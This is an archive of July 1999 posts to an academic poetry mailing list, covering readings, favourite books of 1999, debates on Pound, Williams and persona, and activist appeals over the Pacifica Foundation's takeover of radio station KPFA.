A Reading : Want to let Bay Area residents know of Ken Irby's reading this coming Sunday, August 1, at the Dickerson home, 1605 Berkeley Way, in Berkeley, at 3 p.m. Ken is out from Lawrence, Kansas for a couple weeks, and is currently staying with Bob Grenier, and midweek and thenceforth, will be at Duncan McNaughton's. If you need to contact Ken, backchannel and I'll put you in touch.

A Redundancy : My post re KPFA may well have been that for you-all. If so, Î apologize. I unsubbed when I went to Vancouver, and it was while I was there that I learned that the S (Pacifica) had hit the F (KPFA) for real. In a recent conversation, I learned that sveral posts on this topic were posted to the List

during that week when I was unsubbed, posts by Pierre Joris (merci pour ça, Pierre) and others, to whom, thanks.

A Resource : a listmember recently asked me where he might obtain a copy of my 1980 book _My Poetry_ , long o.p. Yesterday I discovered it is available thru Granary Books, at [redacted], or e-mail at [redacted] . I make this a general post because their list includes many other o.p. books by a variety of poets of possible interest to this List.

David.

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322. Balestrieri, Peter
Paul Metcalf
Mon 26 Jul 1999

Hi,
I'm interested in Paul Metcalf and was hoping that fans might send me synapses of their favorite works. Any word on Metcalf would be appreciated, also any suggestions as to poets that utilize quotation, besides Moore and Jabes whose work I know.
Best,
Pete

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323. Lawrence Upton.
4th SV Colloquium
Tue 27 Jul 1999

The 4th Sub Voicive Colloquium is being put back to a date in 2000 to be announced. It will almost certainly take place in London. Additional notes backchannel to potential participants follow in the next few days. (Outline details of the colloquium - themes etc are at the SVP site and EPC)
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The Sub Voicive Poetry website:
http://www2.crosswinds.net/members/~subvoicivepoetry/

Lawrence Upton's website:
http://members.spree.com/sip/lizard/index.htm

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324. Eugene Ostashevsky
DADAFEST
Tue 27 Jul 1999

9X9 RECOMMENDS THIS. 2 OF US ARE IN IT ON SATURDAY.

++++++++++++++++++++++++++ D A D A F E S T two completely different shows friday and saturday july 30th and 31st SOMARTS gallery - 934 brannan & 9th ++++++++++++++++++++++++++ san francisco is a lot like the zurich of 1916 that produced the original DADA movement: fiercely cosmopolitan, artistically charged, and vibrating with absurd energy. the DADA movement started in zurich with a series of amazing cabarets, too, full of weird performances strange music odd little films and grotesque happenings. we're hoping to tap and generate some of that anarchistic, iconoclastic spirit in our two-night homage to DADA at SOMARTs gallery. we have san francisco's own amazing dancing Devil-ettes designing something special for the show. plus: Naked DADAheads, that yuppie-eradifier Kevin Keating (the artist formerly known as "nestor makhno"), the amazing Frank Moore, the venerable Bay Area Dadaists (with erstwhile mailart maestro Bill Gaglione) with a tribute to the FLUXUS movement of the '60s, Hank Hyena with a strange slide show, a weird group called "vainglorious" doing their impression of Franz Kafka, Mikl-em, King Ham and a host of others...as well as nudists, oreo cookies, a Velcro symphony, seeing eye dogs, mud people, a full-on DADA invocation and a Hugo Ball Memorial Photo booth. Friday and Saturday nights, July 30th and 31st, at 730pm: SOMARTS gallery is going to be jumping. tickets are $7-10 donation (no one turned away for lack of funds). sign on the dada line, m.i.blue & katy bell (for more information write [redacted] or call [redacted] or visit our webpage at: http://www.doitall.com/dada/)

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325. Poetics List
poetics restart
Wed 28 Jul 1999

Finally, and after several false starts, I've been able to access this account for more than a few minutes at a time. I anticipate that this means the Poetics List will be able to resume as of now, with the caveat that incoming messages sent to the list may be delayed somewhat, and that backchannel correspondence certainly will be, for the next few days. Your patience has been and continues to be appreciated - especially as the list was interrupted in the midst of some rather interesting discussion.

% Christopher W. Alexander
% poetics list moderator

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326. **Poetics List**
Evans-Impercipient query
Wed 28 Jul 1999

I wonder if someone would send to me a photocopy of Steve Evans' "The Dynamics of Literary Change" [Impercipient Lecture Series no. 1], which I've been unable to acquire elsewise. Also, if anyone knows the current snailmail address for the Evans-Moxley duo, please send. I can of course be contacted backchannel here, <[redacted]>.

thanks, Chris

% Christopher W. Alexander
% poetics list moderator

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327. **Brian Stefans**
Re: Pound and the Bollingen Prize
Wed 28 Jul 1999

I tend to think we're revolving around the old issue of the "Politics of Poetic Form" here since, in someone like Bernstein's reading of the Pisan Cantos, the form of the poem actually undermines what would be the non- or supra-poetical work of the "man." That is, it seems the essays by the man, which we take to be a literary product of Pound as the "man of action" don't find their fulfillment or their natural corollary in his poems, which one would consider the works of the "man of thinking." So talk of the "man" is split here since we know this person two ways, via an activity which we normally associate with biography -- what the guy did when he wasn't writing poetry -- and the activity we normally associate with the "work," that seemingly isolated ("art-for-art's sake"), timeless artifact. If we are to take Bernstein's reading of Pound in "Pounding Fascism" seriously, we wouldn't have any "man" left over to hold against the prize or the literature -- the split would be too profound.

If you want to imagine a gross exaggeration of what this paradigm suggests (though who's more exaggerated than Pound), imagine Robert Mapplethorpe leading a double life as a Washington lobbyist, or some Xtian rightist, pushing for something like strict policing of the internet, mandatory short haircuts for men under the age of twenty, prayer before every meal, or well just imagine him being some sort of obsessed (sexually repressed) outsider politico pushing

for centralized, conservative values (and symbols) that run up against his art work. Then, when it is time to offer him a prize, you would be in the position of asking whether the "work" is the same thing as the "man". It's not unimaginable that even a Mapplethorpe could be split this way, since there are all sorts of breaks like this in twentieth century art, it seems, such as:

Why wasn't Robert Smithson an environmentalist? (I know because I read his writings, but it's surprising.)

Why does Clarence Major prefer the poetry of John Berryman over the "New American" poets? (cf. Mackey on Major in Discrepant Engagement).

What are Ian Hamilton Finlay's political views? (I.e. why is he, who in many ways seems so much milder in temperament than a Bruce Andrews, more clearly agrarian-rightist-revolutionary and someone like BA a leftist?) Who, then, becomes the more "elitist" artist, the rural aristocratic Finlay or the urban cosmopolitan Andrews? And why do the poetics of a Marxist like Hugh MacDiarmid seem invariably more conservative than Finlay's?

A recent one I came across: apparently the German painter Gerhardt Richter was the prophet of pop art back in the day, introducing or at least championing Warhol and those folk, but now he seems to clearly on the monumental side -- large-scale abstract paintings, with a near classical sense of balance, or perhaps romantic sense of sturm and drang -- with someone like Kiefer in opposition to the "democratic" vision of someone like Polke. How does that happen?

Why are poets like Drew Milne and Jeremy Prynne, the former of whom is a recognized Marxist scholar, more or less perceived, by the Americans aware of their work, as somewhat reclusive, decidedly "highbrow" poets (I think in the tradition of Thomas Gray)? (My question is also whether Milne recognizes any sort of camaraderie among the American language poets since his introduction to the anthology of Marxist literary criticism he edited with Terry Eagleton seemed to suggest a parallel series of ideas, despite the very different temperament.)

(Sorry to present an exclusively male list here, but nobody comes to mind right now as presenting this sort of dilemma, though I guess Moriko Mori, who's a bit young to be well known, walks a pretty interesting line between conservative "Buddhism" and her techno-narcissistic-adoration.)

Actually, more women do come to mind: why is Barbara Kruger using techniques explored by proto-fascist artists, including some of their color schemes, to present purportedly progressive feminist progaganda? Is this art or social work?

Joan Houlihan <[redacted]> on 07/22/99 09:39:55 AM

Please respond to UB Poetics discussion group
<[redacted]>

To: [redacted]
cc: (bcc: Brian Stefans/Trade/RandomHouse)
Subject: Re: Pound and the Bollingen Prize

Well, not exactly. I agree that:

The work is not the man.
The prize is not the man.
Therefore, the man is neither the prize nor the work.

However:
The prize is the both work and the man.
There has to be work to be a prize; and, by implication, there has to be a man (or woman) to be work. The ratio of man to prize increases in relation to how "political" the selection criteria are.

In general, I feel that ethical considerations of the writer's life should be entirely separate from considerations of the work--not that ethical concerns shouldn't be considered, discussed, dissected, etc., just that they shouldn't be seen as germane to the work. At all. A close-up of anyone's life reveals multiple layers, "selves" and contradictions--the study of personality is an interesting one. However, in the case of a writer, their biography is merely another footnote, and maybe a totally misleading footnote at that. A critique of the work, on the other hand, is much closer to the writer's "self."

> *The work is not the man, neither is the prize the work. The prize, as i think you are saying, is a political gesture apart from the work.*
>
> _____
> *Get Free Email and Do More On The Web. Visit http://www.msn.com*

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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328. **Maria Damon**
Re: query
Wed 28 Jul 1999

thanks to all who have mailed the coach house press info. much appreciated.

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329. Pritchett,Patrick
Re: 1999 Books
Wed 28 Jul 1999

For starters:

Try - Cole Swensen
The Removes - Andrew Joron (pub. date states 1998, but it didn't appear till this year).
Polyverse - Lee Ann Brown

Patrick Pritchett

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330. Taylor Brady
Re: RADIO STATION KPFA, BERKELEY
Wed 28 Jul 1999

David,

Thanks for passing this along to the list. Those in or around the Bay Area should know that a large-scale rally is being planned for this Saturday, 7/31, assembling at 11am at UC Berkeley's Sproul Plaza and marching to Martin Luther King Park. Also, lunch-hour leafletting continues outside the downtown SF offices of the Fineman Group (?), an expensive PR firm hired illegally hired to do spin control by the Pacifica Foundation (and paid with the contributions of listeners who overwhelmingly oppose the board's recent course of action).

News over the SavePacifica e-list this morning is that the Pacifica Board might well be meeting today for the purposes of putting the Palmer "fire sale" memo into action. Those concerned should check out the websites at the end of Trane DeVore's message - each contains addresses, fax numbers, etc., for Pacifica board members, California state legislators, legal defense funds, and other necessaries. It's especially urgent that Californians convince the legislature to conduct its investigation into the possibility of revoking Pacifica's nonprofit charter (something they were planning on doing anyway) on an emergency basis, in order to respond to this immediate threat. Listees in other states might want to check into actions in their area: Is there a local radio station that carries Pacifica programming? Has that station's board passed a resolution yet condemning the illegal power grab by the Pacifica board of directors? Those with academic affiliations might also want to write to the powers that be at U Penn, where board chair (and Clinton shill) Mary Frances Berry is a faculty

member, to express their concern over her obvious failure to understand that university's free speech policies.

More on this as things develop...

Best,
Taylor

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of david bromige
Sent: Friday, July 23, 1999 2:56 AM
To: [redacted]
Subject: RADIO STATION KPFA, BERKELEY

Listfellows : I am posting this message from the poet Trane DeVore because I agree with him that the closure of KPFA radio would be the final nail in our coffin. For decades now, increasingly, as corporations swallow up the media, KPFA has been the only source I know of for information whose dissemination is anywhere from distressing to deadly for corporate rule of the world. Believe me, this radio station shows NPR up for the wishy-washy liberals they unfortunately suppose they have to be. During the recent illegal war NATO conducted upon "the former Yugoslavia," via KPFA one heard every evening voices from Belgrade bearing witness to the reality of the destruction wrought in our names and with our money. It was through KPFA I first learned that the cluster-bombs our planes jettisoned over the Adriatic, were killing Italian fishermen---and causing the ports there to be shut down. First learned that, contrary to U.S. spokespersons, many U.S. planes had been shot down---I recall the number, then, before the bombing was stopped, as 37.

Clearly, such a station (which also opposed the illegal war on Iraq) is uncomfortable to the Clinton regime; and Marion Berry, his appointee to the body that oversees PBS, is now in charge of the Pacifica Foundation, the non-profit corp that oversees KPFA and 4 (I think) sibling-=stations. The current board of Pacifica illegally rewrote the mission statement, in contempt for KPFA's constituency, to attempt to turn the station into a middle-of-the-road (maindrain) outfit, unlikely under such a policy to disturb any thing or one. They may have notions of going even further. A sign held up at a recent rally here in my home town Sebastopol, claimed to cite a secret memo from Michael Palmer, the new Treasurer-Elect, to Lynn Chadwick, a Pacifica functionary, suggesting KPFA could be sold to corporate buyers for $70 million.

Anyone old enough to remember KQED TV before it went to commercials, will know the enormous destruction to its intelligence this commercialism ("Nature Is Brought to You By Exxon") has, with all deliberation, wrought. My god, how

many years of "Are You Being Served"? "Are you being screwed" would be closer to the point.

Lynn Chadwick used to work for Voice of America, a propaganda station serving corporate interests by presenting an unreal americanism to the (un)suspecting 3rd world. I doubt she did a 180 on her way to Pacifica. The infiltration of the Pacifica board couldnt have been smoother if it had been cooked up in a rightwing thinktank. One notes the timing---Chadwick fires the KPFA station manager the week before KPFA was to celebrate its 50th birthday; Chadwick locks out the employees of this admittedly leftwing station and goes to canned music on July 13, as though to pre-empt any storming of any Bastille. I hear Robert Duncan saying, as more than once he did to me, "It doesn't have to be a plot, it works like one anyway," when I discerned the workings of one in the coincidence of more than one rightwing attack on democratic institutions. Dear gullible Robert.

Elan Fabbri, spokesperson for Pacifica, has declared that employees of KPFA who discussed the takeover on the air are "mutinous." To all you language-mechanics and discourse-analysts out there, this word-choice will surely be revealing. It reveals to me the authoritarian nature of Pacifica as currently constituted. Here in America we find mutiny very interesting. This is a nation born of mutiny. We have made "Mutiny on the Bounty" and "The Caine Mutiny" into perennial favorites. When power becomes aloof, unsusceptible of appeal, what recourse have we, but mutiny?

I apologize for the length of this introduction to Trane's letter. Please read that, and, if you feel so moved, please spread the word. The more people who know of this, the more difficult it will be for Pacifica to continue its illegal rewriting of its historical mission, the more difficult it will be to sell KPFA down the river. We need to get people all over the world stirred up, we need the protest to reach proportions where even the bought media can't ignore it. KPFA is a strong expression of the conscience of America, and America with a silenced conscience will bring ruin throughout the globe. Further ruin, I should have written.

> *As many of you probably know by now, the Pacifica Foundation has removed all staff from KPFA and is running canned programs from the vaults. KPFA, a free-speech bastion and community radio station for fifty years, is under assault by a parent organization that is decidedly undemocratic and is seeking to change, against the wishes of a broad and diverse listenership, the shape of programming at the station. This crisis began when Pacifica fired KPFA's popular station manager, Nicole Sawaya, without prior consultation with the staff who actually work at the station. The only explanation given for Sawaya's*

firing was that she was "not a good fit." The paid and unpaid staff at KPFA began to voice thier dissent on air and were told that they could not. The imposition of an internal gag rule, an crime against free speech at KPFA, led to the termination of two prominent broadcasters--Larry Bensky and Robbie Osman. Pacifica tried to censor the KPFA evening news, claiming that the crisis at KPFA was "not news"--as Eileen Alfenderi (sp.?), co-host of the KPFA evening news, pointed out that the evening news had not been asked to hold back on a story during the entire 24 years of her tenure. Pacifica hired armed guards to "protect" the staff at KPFA (the staff is unanimously opposed to this); these guards were obviously put in place to intimidate the staff. On Tuesday, Dennis Bernstein broadcast a show about the crisis at KPFA and was forcibly removed from the station by the armed guards. The KPFA evening news tried to report on this, but was forced from the air. Pacifica has been running canned programming on the airwaves ever since. There has been a massive outcry against this violent and undemocratic move by the Pacifica Foundation. A series of statements condemning the Pacifica Foundation's acts has been recorded and should be available over the web soon. People protesting this action include Alice Walker, June Jordon, Jerry Brown, and Barbara Lee, just to name a few. It is imperative that anyone who supports free speech and anti-corporate community run radio to do what they can to help out at this critical juncture. KPFA was founded by pacifists and is one of the only radio stations that regularly produces shows on Latin America, corporate power, gay and lesbian issues, labor issues, issues that concern minorities and people of color, environmental issues, and the list goes on. KPFA is also a vital source for alternative forms of music and a voice in the local music scene. I urge you to contact your Representatives, your Congresspeople, and even your local politicians. We must not lose KPFA. For more information, and to put your name on the list of contacts for protest actions, please contact www.savepacifica.net, or www.radio4all.org/freepacifica.

Thank you,

Sincerely, Trane DeVore

PLEASE pass this e-mail on to any interested parties.

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331. KENT JOHNSON
WCW on women
Wed 28 Jul 1999

Since there is some discussion about WCW's special feelings for Black women, this comment of his might be considered in piecing together the bigger picture:

"Suppose all women were delightful, the ugly, the short, the fat, the intellectual, the stupid, even the old-- and making a virtue of their qualities, each for each, made themselves available to men, some man, any man--without greed. What a world it could be-- for women!... Take for instance the fat: If she were not too self-conscious, did not regret that she were not lissome and quick afoot but gave herself, full-belly to the sport! What a game it would make! All would then be, in the best sense, beautiful--entertaining to the mind as to the eye but especially to that part of a man which we so mistakenly call the intellect... He would be free, freed to the full completion of his desires."

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332. Stephen Vincent
Re: RADIO STATION KPFA, BERKELEY
Wed 28 Jul 1999

Re: KPFA

In response to David Bromige's great note and other list members' contributions, I have sent the following letter to Dr. Mary Frances Berry and other members of the National Pacific Board. I urge others to write. I have provided the Board member contact info as well as other important contacts and events at the end of my letter:

>>Dear Dr. Mary Fances Berry: I am writing to protest what I understand is your proposal to the National Pacific Board to sell member owned station KPFA. As a listening member of the San Francisco Bay Area community, I am appalled by this proposal, your support of the current station's repression, as well as your continued false statements about the demographics and the leadership of the station. That you have resorted to the old George Bush 'race card' tactic (in this case using "white middle aged men") to attempt to undermine racial and gender inclusive support for the station is more than appalling. Instead of true, in fact, your actions can only be perceived as a cover for the kind corporate carpet-bagging that has already compromised much of what currently constitutes National Public Radio and Television.
The Northern California community raised the funds to build and support this station. Part of the reason for our support is to protect the station from deals with "sponsors." I ask that you and the national board respect the

integrity of its foundations and put your energies either into rebuilding our confidence, or simply resigning from your positions.

Stephen Vincent<<

r. Mary Frances Berry
[redacted]

Ken Ford
[redacted]

David Acosta
[redacted]

Jewelle Taylor-Gibbs
[redacted]

June Makela
[redacted]

Frank Millspaugh
[redacted]

ALSO: CALL OR E-MAIL YOUR CONGRESSIONAL REPRESENTATIVE TODAY... ESPECIALLY ANNA ESHOO [redacted] AND BARBARA LEE [redacted] AND URGE THEM TO CONTACT MARY FRANCES BERRY IMMEDIATELY!

ALSO: CALL OR E-MAIL SENATOR BARBARA BOXER AND URGE THAT SHE GET INVOLVED! [redacted]

ALSO: CALL STATE SENATOR JOHN BURTON [redacted] AND
ASSEMBLYMAN ANTONIO VILLARAIGOSA [redacted] AND
URGE THAT THEIR LEGISLATIVE HEARING ON PACIFICA'S
FISCAL RESPONSIBILITY BE HELD ON AN EMERGENCY BASIS!

AND PLAN TO COME TO OUR MASS RALLY THIS SATURDAY...7/31... AT HISTORIC "FREE SPEECH" SPROUL PLAZA ON THE U.C. BERKELEY CAMPUS AT 11 A.M. (March past KPFA to downtown Martin Luther King Jr. Park for 1:30 rally.)

http://www.savepacifica.net

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333. **Jamie Perez**
Petrarch meet Mr. Newton
Wed 28 Jul 1999

Laura and Petrarch: An Intriguing Case of Cyclical Love Dynamics by Sergio Rinaldi

http://epubs.siam.org/sam-bin/dbq/article/30592

I think this may be very interesting to some on this list (see abstract below). First to note that it is from the SIAM (Science and Industry Advance with Mathematics!) Journal on Applied Mathematics [the exclamation is mine]. Maybe you've already seen it? Maybe it's an Alan Sokial(?)-like hoax for all I know, I haven't read it yet, but am curious. Maybe Sergio is on this list? Maybe he should be. Comes in convenient PDF and many other options.

jamie.p

.....

Abstract: Three ordinary differential equations are proposed to model the dynamics of love between Petrarch, a celebrated Italian poet of the 14th century, and Laura, a beautiful but married lady. The equations are nonlinear but can be studied through the singular perturbation approach if the inspiration of the poet is assumed to have very slow dynamics. In such a case, explicit conditions are found in the appeals of Laura and Petrarch and in their behavioral parameters that guarantee the existence of a globally stable slow-fast limit cycle. These conditions are consistent with the relatively clear portrait of the two personalities one gets while reading the poems addressed to Laura. On the basis of the scarce and only qualitative information available, the calibration of the parameters is also performed; the result is that the calibrated model shows that the poet's emotions followed for about 20 years a quite regular cyclical pattern ranging from the extremes of ecstasy to despair. All these findings agree with the recent results of Frederic Jones, who, through a detailed stylistic and linguistic analysis of the poems inspired by Laura, has discovered Petrarch's emotional cycle in a fully independent way.

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334. **Robert Freedman**
Re: 1999 Books
Wed 28 Jul 1999

----- Original Message -----
From: Susan Wheeler <[redacted]>
To: <[redacted]>

Sent: Thursday, July 22, 1999 4:58 PM
Subject: 1999 Books

> For several reasons, I've a question for y'all: what are the best books
of
> poetry (collections, summations, book-lengths, etc.) published in 1999
> you've come upon?
>
> Susan

I don't know about the best, but Donald Allen's reissued, "New American Poetry ..." is welcome on my shelves. Cole Swensen's "North" is one of my favorites, but it doesn't qualify for 1999, so I'll choose her "Try," which I believe did come out in 1999.

I have a feeling "Elegy for the Southern Drawl," by Rodney Jones will not be a big favorite in these here parts, but I'll mention it anyway. My tastes are, I guess, sloppily eclectic, having come from no training and a lot of reading.

Hope this helps,

Bob Freedman

p.s. It looks like this is going to both the Poetics listserv AND the UB Poetics discussion. I'm not a member of the latter, but I hit "Reply to All."

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335. **Brian Stefans**
Re: persona
Wed 28 Jul 1999

Hi Dodie,

You're probably right about this, I was just being picky with words in a way. There are many levels of impersonation that you can point to, a virtual rainbow coalition. For instance glammy-camp personas are hardly personae on the level of, say, Al Gore being coached into the presidential persona. The persona you write about, the cocktail party one, reminds me of the movie "Safe." There are varieties of transvetitism which I think would be interesting terms of poetry; my own explorations into this involve a brief stint as Arthur Rimbaud in a "love" poem called "Verl" (a prose piece inspired by the letters, which I guess kind of ties into Acker's personas), poems as a fake English poet (partly inspired by a certain fake Japanese poet), and the various times I've done my own pip-squeaky imitations of Pound, etc. I'd like it if more poets were transvestites; most of us are rather boring in normal life so why not, and if fiction's becoming so passe next to film and "new sentence" poetry then there aren't many venues

for identity performance left for a writer. And since personae become, in their ways, symbols, they surface above the semiotic as social constructs that people can understand without having to become subject to them, since the falseness is so foregrounded; i.e. there would be more meat on the bones of a deconstructive poetics than say language-style all-over razzling and hyper-collage aesthetics would seem to permit. Entire senates of puppet plastic personalities, but always tinged with the "pathos" of discipline and responsibility, of a sort that poetry only seems capable of.

But what about when writers adopt certain tones and methods in their writing -- I think of Jennifer Moxley here, she's probably the only one right now -- which, in their stateliness of pace and foregrounded anachronism (i.e writing as if certain 18th century value systems, such as the emphasis on "sensibility", were still the ascendant, and countering other values such as those centered around the "cult of speed" and information, from Marinetti to O'Hara, for one), go up against any easy romantic notion of "sincerity" and yet are actually using these styles as a way to break back into the "lyric," i.e. the pure soul as speaking, "suffering" thing. Is this a sort of transvetitism (without the overtones of freakishness, but with the cross-gendered aspect)?

Dodie Bellamy <[redacted]> on 07/21/99 03:20:17 PM

Please respond to UB Poetics discussion group
<[redacted]>

To: [redacted]
cc: (bcc: Brian Stefans/Trade/RandomHouse)
Subject: persona

At 9:30 AM -0400 7/21/99, Brian Stefans wrote:
>
>Consequently, I don't know what your jibe on "feigning a persona" has to do
>with what I wrote since I didn't write about personae, nor about "feigning"
>one (which is kind of impossible, people usually "adopt" a persona, or
>"feign" a personality -- "feigning a persona" would put you two steps
>behind the surface).

Brian,

I'm intrigued by this idea of feigning a persona as opposed to adopting one. Adopting one sounds like putting it on proudly, even buying into it. Feigning one reminds me of those endless social occasions when I've known what kind of persona was required but I couldn't buy into it, didn't have the heart to fully embrace it, or was lacking in the social skills to pull it off. In those instances,

I'd say that feigning a persona would be much more appropriate a category. An awkward ineffectiveness. Cocktail parties come to mind as a dangerous site. Also much of the humor on TV sitcoms, not that I watch them enough to be an authority.

In writing, too, I think this comes up. Kathy Acker's personas, for instance, their delightfulness is in the sense of feigning rather than adopting. Pathos unbalancing power.

When I hit reply to all in Eudora, the speech function kicked in for some reason and my computer started reading your message outloud to me in this mechanical reverb voice. Creepy, but appropriate somehow.

Dodie

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336. Todd Baron /*/ ReMap Readers
Re: 1999 Books
Wed 28 Jul 1999

I vote for Susan Thackery's first book, pub. by Listening Chamber, empty GATE.

Todd Baron
ReMap

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337. Parks
Action Appeal 2
Wed 28 Jul 1999

Pacifica Foundation's executive committee is to vote on sale of KPFA this evening or tomorrow a.m.

If you haven't already, please consider contacting the names below with statements of protest.

Poet Jack Folie has (had) a poetry show on KPFA Wednesdays. Can his silence and invisibility during the struggle be taken as pro-Pacifica? Or he may know much more about the dispute and recent history of disputes than the average listener and so have opinions or insights that preclude membership in the movement; if anyone is familiar with him, please beseach him to elucidate publicly.

Despite weeks of denial from Mary Frances Berry, Lynn Chadwick, and their various public relations spokespeople, PACIFICA RADIO IS PREPARING TO

AUTHORIZE THE SALE OF THE NATION'S FIRST FREE SPEECH, COMMUNITY CONTROLLED RADIO STATION.

The vote could come as early as today (Wednesday 7/28) in a telephone meeting of the Pacifica executive committee.

Pacifica national board sources say a telephone discussion yesterday about the Pacifica crisis was dominated, as usual, by Dr. Berry, who insisted that KPFA be sold. She said it had become "unmanageable." (KPFA WAS, OF COURSE, "MANAGEABLE" FOR FIFTY YEARS BEFORE BERRY INSTALLED CHADWICK AND HER WRECKING CREW OF ARMED GUARDS, LAWYERS, PERSONNEL TERMINATION SPECIALISTS AND PUBLIC RELATIONS FLACKS.)

KPFA, located on the commercial FM band, may be worth as much as $75 million to Pacifica.

There were also indications in yesterday's board meeting that Berry and Chadwick's actions may be bankrupting Pacifica, and that the executive committee may seek a large (perhaps as much as $5 million) loan to pay for their enormous "security," legal, personnel, and public relations expenses. THIS LOAN WOULD ALMOST CERTAINLY DEFAULT, GIVING PACIFICA ONE MORE EXCUSE TO SELL KPFA.

PLEASE CONTACT IMMEDIATELY:
EXECUTIVE COMMITTEE MEMBERS:

Dr. Mary Frances Berry
[redacted]

Ken Ford
[redacted]

David Acosta
[redacted]

Jewelle Taylor-Gibbs
[redacted]

June Makela
[redacted]

Frank Millspaugh
[redacted]

Bob Farrell
[redacted] X255
[redacted]

Pacifica's new million-dollar PR man:

Michael Fineman
[redacted]

Do You Yahoo!?
Free instant messaging and more at http://messenger.yahoo.com

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338. George Bowering
Re: Manifest Destiny
Thu 29 Jul 1999

> *If I understand Hilton correctly (Hilton, are you there?), the _secular_ use of the Book of Revelations was more as an available source for rhetoric supportive of a very different kind of millenarianism than the descent of chaos/reign of the saints/end of time kind. I'm willing to be corrected*

Okay. If you take a look, you'll see that it's the Book of Revelation

George Bowering.

,

fax: [redacted]

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339. George Bowering
Re: $3.50: Summer vacation in Scandinavia!
Thu 29 Jul 1999

> *I think I've discovered where poetry might be, had there never been a "Wasteland" to set us back 30 years! With the recent interest in international poetry demonstrated by such publications as Boundary2,*

Interest in international poetry is not all that recent in places other than the USA

George Bowering.

,

fax: [redacted]

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340. George Bowering
Re: 1999 Books
Thu 29 Jul 1999

> *For several reasons, I've a question for y'all: what are the best books of poetry (collections, summations, book-lengths, etc.) published in 1999 you've come upon?*
>
> *Susan*

For me, they have included Erin Moure's _A Frame of the Book_ and Wayde Compton's _49th Parallel Psalm_

George Bowering.

,

fax: [redacted]

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341. Owen Hill
Re: 1999 Books
Thu 29 Jul 1999

Susan:

Doombook by Michael Price (The Figures) has a '98 copyright but it didn't start getting around 'till '99. I'm on about my third reading. Great book!

Owen

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342. Owen Hill
Re: Action Appeal 2
Thu 29 Jul 1999

I can't reallly speak for Jack, but:

Jack Foley is not invisible! I live at Telegraph and Dwight in Berkeley. A couple of days ago I looked out my window to see Jack and another poet, Ivan Arguelles, taking part in an inpromptu KPFA rally. Yes, I did go downstairs and join the rally, but I missed Jack, who was playing pied -piper at the front of the march.

Owen

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343. Owen Hill
Surrealist Women
Thu 29 Jul 1999

There will be a belated publication party for Surrealist Women: An International Anthology (University of Texas Press) on Sunday August 1 3-5pm at Moe's Books, 2476 Telegraph Ave. Berkeley Ca.

Nancy Joyce Peters, Myrna Rochester, and Marie Wilson will read from the anthology.

The hosts have promised that the wine will be drinkable and the cheese better than average.

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344. Steven Shoemaker
Re: Modernists in the basement
Thu 29 Jul 1999

That quote from Williams is new to me, and certainly disturbing. And I agree that it's the sort of statment we don't want to forget about, but need to try to understand. For me, though, that understanding involves asking how someone with a view of culture as interesting, complex and "open" as Williams's lapses into this sort of thing. It *still* seems to me ridiculous to put him in the same category as Pound as an anti-Semite, unless you want to make the category meaningless. Pound's race-hatred is rabid, and his calls for fascist "antisepsis," i.e. genocide, are clear. I can't imagine Williams making those Italian radio broadcasts any more than I can imagine Pound writing "At the Ballgame." Another pretty instructive exercise is to compare, say, *Jefferson and/or Mussolini* with *In the American*.

My point, again, is not to heroize Williams, but to look at what he actually said (yes, *including* comments like the one we're talking about here) and did, and then to weigh the whole record. We might even find, as I tried to show in the piece I posted earlier, that there's some interesting (social) thinking going on...stuff we might miss if we aren't careful.

Alright, that's probably enough from me on this subject, and I have to go back to packing boxes for a move in the 96 degree swelter... Steve

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345. Tom Orange
new OPEN LETTER available
Thu 29 Jul 1999

OPEN LETTER, Tenth Series, No. 5, Spring 1999
Pulp Theory (Guest Edited by Peter Jaeger and Scott Pound)
Now Available

Contents:
"Introduction" Peter Jaeger and Scott Pound
"Somber Up!" Deanna Ferguson
"Rosicrucian Tourism" Eleni Stecopoulos
"Six Poems" Nancy Shaw
"Form is Form" Rob Manery
"This & Thaz" Miles Champion
"Lachrymose Encaustic / Abrasive Tear" Charles Bernstein
"Oval Orifice" Cris Cheek and Keith Tuma
"Truncated/troncated" Caroline Bergvall
"Ouch of Here" Bruce Andrews
"Weory of Thriting" Clint Burnham
"True Fiction" Andrew J. Patterson
"Practice / Editing / The Critic" Mark Sutherland
"The Engineers of Indeterminacy in Post-Structural Poetics: An Idle Conversation Between the Author and Bakhtin's Dog" Karl Jirgins
"An Excerpt from Freud's 'The Key to Success'" Keith Hartman
"Questions for Peter and Scott" Stephen Cain
"The Trouble With Graduate School: A Found Critique" Darren Werschler-Henry
"from _Empire_" Deirdre Kovac
"Apostrophe to Furniture" Dan Farrell
"Situation: Non-Indifference: Theory and Current Poetics" Tom Orange
"Lows Blow" Louis Cabri
"On Singing Pictures in Poems as Verse" Wendy Kramer
"And Sometimes" Christian Bok
"Metaplasia / Metaplasm" Michael Basinski
"Sonnet 23" Tim Atkins
"Jerk" Jeff Derksen

From the introduction: "This issue of _Open Letter_ calls attention to the sometimes graceless aspects of theory in an attempt to shatter its image as urbane discourse. Theory is indeed a pulp genre, and a well-known emblem of intellectual thuggery in universities. Its sensational and often poor quality writing, full of arch gestures and bungled paybacks, offers all who seek solace in it a measure of joyful tedium. And yet, outside the academy, theory becomes

something entirely different. It's picked up by artists who literalize and actualize its precepts, wiping out the distinction between theory and practice...." "We asked a number of contributors--some of whom have been publishing since the 1970s--to write about the importance of theory to their work. Unlike the academic industrialization of theory, in which researchers use a canonical series of texts as tools to read other texts, we wanted to question theory's importance to formally innovative writing. While some of the writers in this issue now work in the university context, we offered them and others a site for a return to the socially critical role occupied by theory prior to its current accomodation by the university. So a possible title for this untitled issue could have been _The Dis- Accomodation of Theory_ because it shows a discomfort with the present moment...."

(my $0.02: readers of recent _Philly Talks_ and of Jeff Derksen's _Disgust and Overdetermination_ issue of _Open Letter_ will find a lot of cross- dialogue contained herein.)

Individual issues are available for CAN$7.00 within Canada, US$7.00 international (personal checks are fine in either case) from:

499 Dufferin Ave.
London, Ontario N6B 2A1
Canada

Address queries to the same or email [redacted]

Tom Orange

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346. **Poetics List**

Poem on 'good things about turning 80' / Chapman

Thu 29 Jul 1999

---

had to reformat. Chris

--

From: "Heather Chapman" <[redacted]>
Date: Mon, 26 Jul 1999 21:26:11 +1000

Hi All,

I'm trying to find a poem or some verse on the good things about turning = 80, or old age, ...

Any suggestions about where best to look, or some verse itself would be = much appreciated.

thanks in advance,

Heather.

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347. Poetics List
Strings, new Flash work at Vispo by Dan Waber / Andrews
Thu 29 Jul 1999

---

had to reformat; please see the Welcome Message for
guidelines regarding use of HTML (briefly, "no HTML").

Chris

--

From: Jim Andrews <[redacted]>
